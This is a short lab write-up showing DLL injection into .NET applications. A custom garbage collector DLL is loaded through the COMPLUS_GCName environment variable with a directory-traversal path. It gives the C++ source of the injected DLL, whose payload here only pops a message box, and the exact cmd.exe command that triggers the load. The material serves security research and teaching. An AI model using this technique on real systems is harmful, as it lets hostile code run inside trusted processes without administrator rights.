DLL Injection via a Custom .NET Garbage Collector
This is a quick lab to test a DLL injection technique discovered by @am0nsec, which he describes in his blogpost https://www.contextis.com/us/blog/bring-your-own-.net-core-garbage-collector - go check it out!
The idea behind this technique is that a low privileged user can specify a custom Garbage Collector (GC), that a .NET application should use. A custom GC can be specified by setting a command shell environment variable
COMPLUS_GCName, that points to a malicious DLL which represents a custom Garbage Collector.Normally, specifying a custom GC requires administartor privileges, however, since path to a custom GC in
COMPLUS_GCName is not sanitized when a custom GC is loaded, directory traversal allows any unprivileged user to specify a custom GC to be loaded from an arbitrary location to which they can drop their DLL.The Gargage Collector DLL needs to export
GC_VersionInfo method for this technique to work - this is the method that will contain our payload, that will be executed once a .NET program starts and loads our custom GC DLL.Let's create a DLL that represents a custom Garbage Collector. It needs to export a function
GC_VersionInfo, which in our case executes a simple message box:#include <Windows.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
struct VersionInfo
{
UINT32 MajorVersion;
UINT32 MinorVersion;
UINT32 BuildVersion;
const char* Name;
};
extern "C" __declspec(dllexport) void GC_VersionInfo(VersionInfo * info)
{
info->BuildVersion = 0;
info->MinorVersion = 0;
info->BuildVersion = 0;
MessageBoxA(NULL, "Injection", "Injection", 0);
}
Once the DLL is compiled, we can set the
COMPLUS_GCName environment variable in our cmd.exe shell and point it to the compiled DLL:set COMPLUS_GCName=..\..\..\..\..\..\..\..\..\..\..\..\..\labs\GarbageCollector\GC\x64\Release\GC.dll & dotnet.exe -h
We can execute any .NET binary found on the system and it will load our GC.dll. In this lab, we do:
dotnet.exe -h
Below shows that our GC.dll got injected into the dotnet.exe:
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